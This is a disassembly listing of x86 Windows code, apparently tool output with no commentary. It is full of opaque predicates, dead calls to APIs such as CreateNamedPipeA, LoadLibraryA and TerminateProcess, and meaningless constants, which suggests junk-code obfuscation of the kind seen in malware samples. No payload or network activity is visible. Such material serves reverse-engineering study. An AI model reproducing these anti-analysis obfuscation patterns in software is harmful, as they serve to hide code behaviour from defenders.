neg eax
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x538]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x538]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
cmp eax, ebx
push 0
setle cl
mov dword [ebp - 0x50], ecx
inc dword [ebp - 0x538]
pop eax
cmp dword [ebp - 0x538], 0xfffffffd
jge 0x100358d7
push 3
lea ecx, [ebp - 0xa40]
call fcn.100186a3
push ebx
lea ecx, [ebp - 0x624]
mov byte [ebp - 4], 0x12
call fcn.100186a3
mov byte [ebp - 4], 0x13
xor eax, eax
mov dword [ebp - 0x4c], 0xffff
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x100359a3
push dword [ebp - 0x28]
lea ecx, [ebp - 0x624]
call fcn.1001872f
mov dword [eax], 0xc03342eb
xor eax, eax
inc dword [ebp - 0x28]
inc eax
cmp dword [ebp - 0x28], eax
jl 0x1003597f
xor ebx, ebx
xor eax, eax
inc ebx
push eax
lea ecx, [ebp - 0x624]
call fcn.1001872f
and dword [eax], 0
jmp 0x10035b4e
movdqa xmm0, xmmword [0x10007d70]
lea eax, [ebp - 0x12d8]
push eax
lea eax, [ebp - 0x12e8]
mov dword [ebp - 0x20], 0x3d06
push eax
lea ecx, [ebp - 0x160c]
movdqu xmmword [ebp - 0x12e8], xmm0
call fcn.1001873e
lea ecx, [ebp - 0x385]
mov esi, eax
call fcn.10009033
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x1104]
push dword [esi]
call fcn.10018704
xor eax, eax
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x10035a31
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xa68], 0x9884cb8f
xor eax, eax
inc dword [ebp - 0x28]
inc eax
cmp dword [ebp - 0x28], eax
jl 0x10035a13
xor ebx, ebx
xor eax, eax
inc ebx
cmp dword [ebp - 0x20], eax
je 0x10035b00
mov dword [ebp - 0x20], eax
jmp 0x10035af5
mov dword [ebp - 0x58], 0x85755261
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], eax
jg 0x10035af2
push ebx
lea ecx, [ebp - 0x720]
call fcn.100186a3
mov byte [ebp - 4], 0x15
xor eax, eax
mov dword [ebp - 0x4c], 7
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x10035a9a
push dword [ebp - 0x28]
lea ecx, [ebp - 0x720]
call fcn.1001872f
mov dword [eax], 0x7dcda720
xor eax, eax
inc dword [ebp - 0x28]
inc eax
cmp dword [ebp - 0x28], eax
jl 0x10035a76
xor ebx, ebx
xor eax, eax
inc ebx
push eax
lea ecx, [ebp - 0x720]
call fcn.1001872f
and dword [eax], 0
jmp 0x10035ac2
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xa68]
mov dword [ebp - 0x4c], eax
xor eax, eax
push eax
call fcn.1001872f
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x720]
push eax
call fcn.1001872f
lea ecx, [ebp - 0x720]
cmp dword [eax], 0
jge 0x10035aab
mov byte [ebp - 4], 0x14
call fcn.1001872a
inc dword [ebp - 0x58]
xor eax, eax
cmp dword [ebp - 0x58], eax
jle 0x10035a55
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x10035a42
jmp 0x10035b1e
mov dword [ebp - 0x4c], 0x1966c477
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x10035b19
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x10035b67
push eax
lea ecx, [ebp - 0x624]
call fcn.1001872f
lea ecx, [ebp - 0x1104]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0x13
call fcn.1001872a
xor eax, eax
lea ecx, [ebp - 0x624]
push eax
call fcn.1001872f
inc dword [eax]
xor eax, eax
lea ecx, [ebp - 0x624]
push eax
call fcn.1001872f
cmp dword [eax], 0x13
jge 0x100359b7
jmp 0x10035b72
lea ecx, [ebp - 0x1104]
call fcn.1001872a
lea ecx, [ebp - 0x624]
mov byte [ebp - 4], 0x12
call fcn.1001872a
push 8
pop eax
mov dword [ebp - 0x20], 0x920a6ff6
mov dword [ebp - 0x58], eax
xor eax, eax
mov dword [ebp - 0x4c], 0x14d2fc5c
push 2
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x10035bba
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xbf8], 0xe2799ac7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10035ba2
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x10035bda
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x47c], 0x50b5f0b1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10035bc2
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x10035bfc
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1504], 0xfffffffc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10035be3
xor eax, eax
mov dword [ebp - 0x58], ebx
cmp dword [ebp - 0x58], eax
jl 0x10035d79
push 3
lea ecx, [ebp - 0x204]
call fcn.100186a3
xor eax, eax
mov byte [ebp - 4], 0x16
mov dword [ebp - 0x28], eax
xor esi, esi
cmp dword [ebp - 0x28], 3
lea ecx, [ebp - 0x204]
jge 0x10035c3b
push dword [ebp - 0x28]
call fcn.1001872f
mov dword [eax], esi
inc dword [ebp - 0x28]
jmp 0x10035c20
push 2
pop eax
push eax
call fcn.1001872f
mov dword [eax], esi
jmp 0x10035c79
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x10035c5a
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov eax, dword [ebp - 0x58]
xor esi, esi
cmp dword [ebp + eax*4 - 0xbf8], esi
jne 0x10035c8c
push 2
pop eax
push eax
lea ecx, [ebp - 0x204]
call fcn.1001872f
inc dword [eax]
push 2
pop eax
push eax
lea ecx, [ebp - 0x204]
call fcn.1001872f
cmp dword [eax], ebx
jle 0x10035c48
mov eax, dword [ebp - 0x47c]
lea ecx, [ebp - 0x204]
mov eax, dword [ebp - 0xbf8]
mov eax, dword [ebp - 0x47c]
push 2
pop eax
push eax
call fcn.1001872f
push 2
xor ebx, ebx
lea ecx, [ebp - 0x204]
cmp dword [eax], 1
pop eax
push eax
setne bl
call fcn.1001872f
mov ecx, dword [ebp - 0x478]
mov edx, dword [ebp - 0x47c]
add ecx, ebx
imul edx, ecx
xor ecx, ecx
push 2
cmp edx, 0xcf04
setg cl
xor ebx, ebx
cmp dword [eax], ecx
lea ecx, [ebp - 0x204]
pop eax
push eax
setg bl
call fcn.1001872f
mov ecx, dword [ebp - 0x478]
sub ebx, ecx
push 2
lea ecx, [ebp - 0x204]
sub ebx, dword [eax]
neg ebx
pop eax
sbb ebx, ebx
push eax
inc ebx
call fcn.1001872f
xor ecx, ecx
cmp ebx, dword [eax]
mov eax, dword [ebp - 0x4c]
setne cl
imul eax, ecx
neg eax
sbb eax, eax
inc eax
neg eax
je 0x10035d44
xor eax, eax
lea ecx, [ebp - 0x204]
inc eax
push eax
call fcn.1001872f
cmp dword [eax], esi
je 0x10035d44
xor eax, eax
lea esi, [eax + 1]
jmp 0x10035d48
xor eax, eax
mov esi, eax
mov dword [ebp - 0x1500], esi
lea ecx, [ebp - 0x204]
push eax
call fcn.1001872f
lea ecx, [ebp - 0x204]
mov byte [ebp - 4], 0x12
mov dword [eax], esi
call fcn.1001872a
dec dword [ebp - 0x58]
push 1
pop ebx
jns 0x10035c08
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x10035da8
push eax
push 0xfe7
push 0xba6
push 0xe9f
push 0x24af
push 0x374
push 0x6de
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [ebp - 0x88], 0x9e96
lea ecx, [ebp - 0xcc8]
push 3
call fcn.100186a3
mov byte [ebp - 4], 0x17
xor eax, eax
push 0xfffffffffffffff9
pop esi
mov dword [ebp - 0x908], esi
mov dword [ebp - 0x904], esi
mov dword [ebp - 0x900], esi
mov dword [ebp - 0x8fc], esi
mov dword [ebp - 0x58], 0xbf0ddd9c
mov dword [ebp - 0x30], 0xadacd7d3
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x10035e16
push dword [ebp - 0x28]
lea ecx, [ebp - 0xcc8]
call fcn.1001872f
mov dword [eax], 0x15a1
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x10035df7
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x10035e2f
push 0x1577
push 0x2266
call dword [sym.imp.KERNEL32.dll_Beep]
push ebx
lea ecx, [ebp - 0xcc8]
call fcn.1001872f
xor eax, eax
cmp dword [ebp - 0x58], eax
je 0x10035e62
mov dword [ebp - 0x60], 0xf2d6
mov dword [ebp - 0x58], 0xf
jmp 0x10035e5a
cmp dword [ebp - 0x60], eax
jne 0x10035e8d
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], 0x1c
je 0x10035e52
jmp 0x10035e8d
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x10035e7c
push eax
push eax
push 0x2262
call edi
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x10035e8d
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
lea ecx, [ebp - 0xcc8]
mov byte [ebp - 4], 0x12
call fcn.1001872a
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x10035eba
push dword [ebp - 0x28]
lea ecx, [ebp - 0xa40]
call fcn.1001872f
mov dword [eax], 0xfffffffb
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x10035ea3
mov dword [ebp - 0x44], 7
lea ecx, [ebp - 0xe54]
mov dword [ebp - 0x28], 0x25d16df2
mov dword [ebp - 0x4c], 0x38425739
push ebx
call fcn.100186a3
xor eax, eax
mov byte [ebp - 4], 0x18
push 2
mov dword [ebp - 0x34], eax
pop ebx
cmp dword [ebp - 0x34], ebx
jge 0x10035f0a
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xc08], 0x9cb6
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jl 0x10035ef2
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x10035f26
push dword [ebp - 0x34]
lea ecx, [ebp - 0xe54]
call fcn.1001872f
mov dword [eax], 0xfffffffd
inc dword [ebp - 0x34]
xor eax, eax
inc eax
cmp dword [ebp - 0x34], eax
jl 0x10035f0f
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x44]
jg 0x10035f99
mov dword [ebp - 0x58], 0xfffffffe
xor edx, edx
mov eax, dword [ebp - 0xc04]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0xc08]
mov ecx, dword [ebp - 0x58]
sub ecx, eax
mov eax, dword [ebp - 0x44]
cmp ecx, 0x34ca
setne dl
xor ecx, ecx
sub edx, eax
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x58]
cmp edx, eax
setne cl
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
cmp eax, 5
setne cl
cmp ecx, dword [ebp - 0x58]
je 0x10035f8d
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x4c], 0x58099740
jmp 0x10035fb0
xor eax, eax
mov dword [ebp - 0x30], 0xe
push eax
lea ecx, [ebp - 0xe54]
call fcn.1001872f
inc dword [eax]
lea ecx, [ebp - 0xe54]
mov byte [ebp - 4], 0x12
call fcn.1001872a
mov dword [ebp - 0x18], 0x5c68ec0a
lea ecx, [ebp - 0x11e4]
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x58], 0x7c7128ab
mov dword [ebp - 0x34], 0xfe2499e6
push 3
call fcn.100186a3
xor eax, eax
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x28], eax
jmp 0x1003600a
push dword [ebp - 0x28]
lea ecx, [ebp - 0x11e4]
call fcn.1001872f
mov dword [eax], 0xb927
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x10035ff3
mov dword [ebp - 0x18], 7
jmp 0x100360ab
mov dword [ebp - 0x3c], esi
xor edx, edx
mov dword [ebp - 0x60], 0xb59229a2
mov dword [ebp - 0x44], 0x18bc698d
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setle dl
xor ecx, ecx
add edx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
cmp edx, eax
mov eax, dword [ebp - 0x44]
setg cl
xor edx, edx
cmp ecx, 3
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x58], ecx
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
sub eax, 0xfafe
neg eax
sbb eax, eax
inc eax
cmp dword [ebp - 0x18], eax
jle 0x10036080
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], 0x6694
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
test eax, eax
mov eax, dword [ebp - 0x3c]
setle cl
dec dword [ebp - 0x3c]
cmp eax, ecx
jne 0x100360a3
xor eax, eax
inc eax
jmp 0x100360a5
xor eax, eax
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff5
jle 0x1003601c
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x10036137
mov dword [ebp - 0x58], eax
jmp 0x100360d7
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x100360d4
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
xor eax, eax
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], 6
jge 0x100360c1
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x10036134
mov dword [ebp - 0x1c], eax
jmp 0x10036118
cmp byte [ebp - 0x3d], 0
je 0x100360f9
push eax
call dword [sym.imp.KERNEL32.dll_GetFileType]
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x10036115
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
mov byte [ebp - 0x3d], al
jle 0x100360ea
cmp byte [ebp - 0x3d], 0
je 0x1003612f
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x100360e5
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x1c
je 0x100360bc
lea ecx, [ebp - 0x11e4]
mov byte [ebp - 4], 0x12
call fcn.1001872a
xor eax, eax
mov ecx, 0xd33a4a9b
mov byte [ebp - 0xd], al
xor ebx, ebx
mov dword [ebp - 0x3a8], ecx
inc ebx
mov dword [ebp - 0x3a4], ecx
mov dword [ebp - 0x3a0], ecx
mov dword [ebp - 0x39c], ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x44], 6
mov dword [ebp - 0x3c], 0xc2273637
mov dword [ebp - 0x60], 0xfffffff7
mov dword [ebp - 0x4c], 0x45e34605
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x18], 3
cmp dword [ebp - 0x18], eax
jl 0x100363ed
jmp 0x100361ab
xor eax, eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x50], 2
mov dword [ebp - 0x38], 0xf00bb6e7
mov dword [ebp - 0x28], eax
jmp 0x100361d2
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xce0], 0xfffffffd
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x100361c1
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x3a8], 0xffff
jbe 0x1003624c
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x3a8]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x3a8]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x3a8]
mov eax, dword [ebp - 0x3a8]
dec eax
neg eax
sbb eax, eax
neg eax
imul ecx, eax
mov eax, dword [ebp - 0x18]
cmp ecx, dword [ebp + eax*4 - 0x3a8]
jle 0x1003624c
push 0x1b
pop ecx
mov dword [ebp - 0x28], 0xd62e65
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], ecx
jne 0x10036285
xor eax, eax
mov dword [ebp - 0x4c], 5
cmp dword [ebp - 0x4c], eax
jne 0x10036285
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
je 0x10036236
jmp 0x10036285
xor eax, eax
mov dword [ebp - 0x4c], 0x67d92612
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x10036278
push 0xd9e
push 0x15ea
push 0x1dc0
call edi
push eax
xor eax, eax
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
test eax, eax
setns cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x3a8]
mov dword [ebp - 0xce0], eax
test eax, eax
je 0x100362b6
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x50]
neg ecx
sbb ecx, ecx
neg ecx
add eax, ecx
je 0x100362b6
xor eax, eax
lea esi, [eax + 1]
jmp 0x100362ba
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x44]
xor edx, edx
mov eax, dword [ebp - 0x3a4]
cmp ecx, eax
setne dl
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x44]
sub esi, eax
add esi, dword [ebp - 0x3c]
je 0x100363d0
push 4
pop ebx
xor eax, eax
lea ecx, [ebp - 0xaac]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x60], ebx
push ebx
call fcn.100186a3
xor eax, eax
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x28], eax
jmp 0x10036311
push dword [ebp - 0x28]
lea ecx, [ebp - 0xaac]
call fcn.1001872f
or dword [eax], 0xffffffff
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x100362fd
mov eax, dword [ebp - 0x60]
xor ecx, ecx
add eax, 5
cmp eax, 0x2f4b
setle cl
xor eax, eax
cmp ecx, 0xf55f
setle al
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0xce0]
mov ecx, dword [ebp - 0x60]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x3a8]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
lea ecx, [ebp - 0xaac]
setle dl
xor eax, eax
mov dword [ebp - 0x60], edx
push eax
call fcn.1001872f
xor ebx, ebx
lea ecx, [ebp - 0xaac]
cmp dword [eax], 0x88ba54f9
sete bl
xor eax, eax
mov dword [ebp - 0xce0], ebx
push eax
call fcn.1001872f
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp + ecx*4 - 0x3a8]
cmp ecx, ebx
mov esi, dword [ebp - 0x60]
sete dl
xor ecx, ecx
imul edx, dword [eax]
sub esi, edx
sub esi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x3a8]
cmp esi, eax
setg cl
sub ecx, dword [ebp - 0x44]
mov dword [ebp - 0x60], ecx
lea ecx, [ebp - 0xaac]
mov byte [ebp - 4], 0x12
call fcn.1001872a
jmp 0x100363e1
mov dword [ebp - 0x30], 0xfffffff8
mov dword [ebp - 0x30], 0x20128b80
dec dword [ebp - 0x38]
dec dword [ebp - 0x18]
jns 0x100361a9
xor ebx, ebx
inc ebx
cmp byte [ebp - 0xd], 0
je 0x10036502
push 2
pop eax
push eax
lea ecx, [ebp - 0x714]
call fcn.100186a3
mov byte [ebp - 4], 0x1b
xor eax, eax
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x3c], 0x5a23e86f
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x10036440
push dword [ebp - 0x28]
lea ecx, [ebp - 0x714]
call fcn.1001872f
push 2
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x10036423
xor eax, eax
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x100364e5
mov dword [ebp - 0x60], 0x3631e19e
lea ecx, [ebp - 0x714]
push dword [ebp - 0x1c]
call fcn.1001872f
cmp dword [eax], 0
je 0x100364d0
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1003648e
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x714]
mov dword [ebp - 0x3c], eax
push dword [ebp - 0x1c]
call fcn.1001872f
mov ecx, dword [ebp - 0x3c]
mov eax, dword [eax]
sub eax, ecx
jne 0x1003648e
mov edi, eax
jmp 0x10036496
xor eax, eax
xor ebx, ebx
inc ebx
lea edi, [eax + 1]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x714]
call fcn.1001872f
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x714]
mov esi, eax
call fcn.1001872f
mov ecx, dword [esi]
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x60]
setge dl
sub edx, eax
neg edx
sbb edx, edx
neg edx
sub edi, edx
je 0x100364d0
mov eax, ebx
jmp 0x100364d2
xor eax, eax
mov dword [ebp - 0x60], eax
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x100364e5
dec dword [ebp - 0x1c]
jns 0x1003644c
lea ecx, [ebp - 0x714]
mov byte [ebp - 4], 0x12
call fcn.1001872a
push 0xcb3
xor eax, eax
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 0x58], 0xd50f82ba
lea ecx, [ebp - 0xf14]
push ebx
call fcn.100186a3
mov byte [ebp - 4], 0x1c
xor eax, eax
mov dword [ebp - 0x60], 0xffffffff
mov dword [ebp - 0x3c], 0xec995f76
mov dword [ebp - 0x60], eax
push 0xfffffffffffffff8
pop ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x44], 0x1d99ea5d
mov dword [ebp - 0x50], 0xcb64b693
mov dword [ebp - 0x28], eax
jmp 0x10036558
push dword [ebp - 0x28]
lea ecx, [ebp - 0xf14]
call fcn.1001872f
mov dword [eax], ebx
inc dword [ebp - 0x28]
xor eax, eax
inc eax
cmp dword [ebp - 0x28], eax
jl 0x10036545
mov eax, dword [ebp - 0x58]
xor ecx, ecx
cmp eax, 0xecf7
setne cl
cmp dword [ebp - 0x58], ecx
jne 0x1003657d
xor eax, eax
cmp dword [ebp - 0x58], eax
jne 0x1003657d
mov edi, eax
jmp 0x10036582
xor eax, eax
lea edi, [eax + 1]
mov eax, dword [ebp - 0x58]
xor ecx, ecx
cmp eax, 1
mov eax, dword [ebp - 0x58]
setle cl
xor edx, edx
cmp ecx, eax
lea ecx, [ebp - 0xf14]
setne dl
xor eax, eax
sub edx, dword [ebp - 0x58]
mov esi, dword [ebp - 0x58]
push eax
add esi, edx
call fcn.1001872f
xor ecx, ecx
mov dword [eax], esi
mov dword [ebp - 0x60], esi
mov eax, dword [ebp - 0x60]
cmp eax, 0x1db6
setg cl
add ecx, dword [ebp - 0x58]
mov dword [ebp - 0x3c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
cmp edi, eax
setle cl
mov dword [ebp - 0x60], ecx
mov ecx, 0x9f486485
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x44]
neg eax
sbb eax, eax
neg eax
cmp ecx, eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x44]
test eax, eax
jne 0x100365fc
cmp dword [ebp - 0x3c], eax
jne 0x100365fc
mov edx, eax
jmp 0x10036601
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x50], ecx
lea ecx, [ebp - 0xf14]
mov byte [ebp - 4], 0x12
call fcn.1001872a
xor eax, eax
push 2
pop ebx
cmp dword [ebp - 0x24], eax
jne 0x10036665
inc dword [ebp - 0x20]
xor edx, edx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
push ebx
setne dl
lea ecx, [ebp - 0x684]
mov dword [ebp - 0x64], edx
call fcn.1001872f
mov edx, dword [ebp - 0x64]
xor ecx, ecx
imul edx, dword [eax]
mov eax, dword [ebp - 0x20]
cmp eax, edx
mov eax, dword [ebp - 0x24]
setg cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
dec eax
je 0x10036671
xor eax, eax
cmp dword [ebp - 0x64], eax
je 0x10036673
xor eax, eax
inc eax
mov esi, eax
jmp 0x10036678
xor eax, eax
mov esi, eax
xor eax, eax
inc eax
push eax
lea ecx, [ebp - 0x66c]
call fcn.1001872f
push ebx
lea ecx, [ebp - 0xa40]
mov dword [eax], esi
mov eax, dword [ebp - 0x24]
xor eax, eax
mov dword [ebp - 0x2c], eax
call fcn.1001872f
mov ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x2c]
mov dword [eax], ecx
xor eax, eax
mov dword [ebp - 0x28], 0xfffffffb
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x100366ce
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x6d8], 0xfffffffc
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x100366b5
xor eax, eax
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [ebp - 0x6d0], 0x1a
cmp dword [ebp - 0x6d0], 0x11
jl 0x10036709
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10036701
push eax
push eax
call edi
push eax
xor eax, eax
push eax
push eax
call dword [sym.imp.USER32.dll_DialogBoxParamA]
xor eax, eax
dec dword [ebp - 0x6d0]
jmp 0x100366de
mov dword [ebp - 0x28], eax
jmp 0x10036719
cmp dword [ebp - 0x6d0], eax
jne 0x1003671f
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffe5
jl 0x1003670e
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jg 0x10037cb5
xor ebx, ebx
inc ebx
mov dword [ebp - 0x58], 0x34215e1a
lea ecx, [ebp - 0xb6c]
push 3
call fcn.100186a3
mov byte [ebp - 4], 0x1d
xor eax, eax
mov dword [ebp - 0x60], 0x21aa2910
mov dword [ebp - 0x38], 0x76522452
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1003677e
push dword [ebp - 0x18]
lea ecx, [ebp - 0xb6c]
call fcn.1001872f
mov dword [eax], 0xcf86511
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1003675f
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x100367a0
xor ebx, ebx
inc ebx
lea ecx, [ebp - 0xa40]
mov byte [ebp - 4], 0xf
call fcn.1001872a
dec dword [ebp - 0x24]
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
jns 0x10035722
lea ecx, [ebp - 0x66c]
call fcn.1001872a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x684]
call fcn.1001872a
push 3
lea ecx, [ebp - 0x5e8]
call fcn.100186a3
mov dword [ebp - 4], 0x2f
lea ecx, [ebp - 0x630]
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x64], 4
push 3
call fcn.100186a3
mov byte [ebp - 4], 0x30
xor eax, eax
mov dword [ebp - 0x60], 0x9a83
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x10037d57
push dword [ebp - 0x24]
lea ecx, [ebp - 0x5e8]
call fcn.1001872f
mov dword [eax], 0x9841b3c6
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x10037d38
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x10037d7f
push dword [ebp - 0x24]
lea ecx, [ebp - 0x630]
call fcn.1001872f
mov dword [eax], 0xc47d1afd
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x10037d60
xor eax, eax
push 2
pop esi
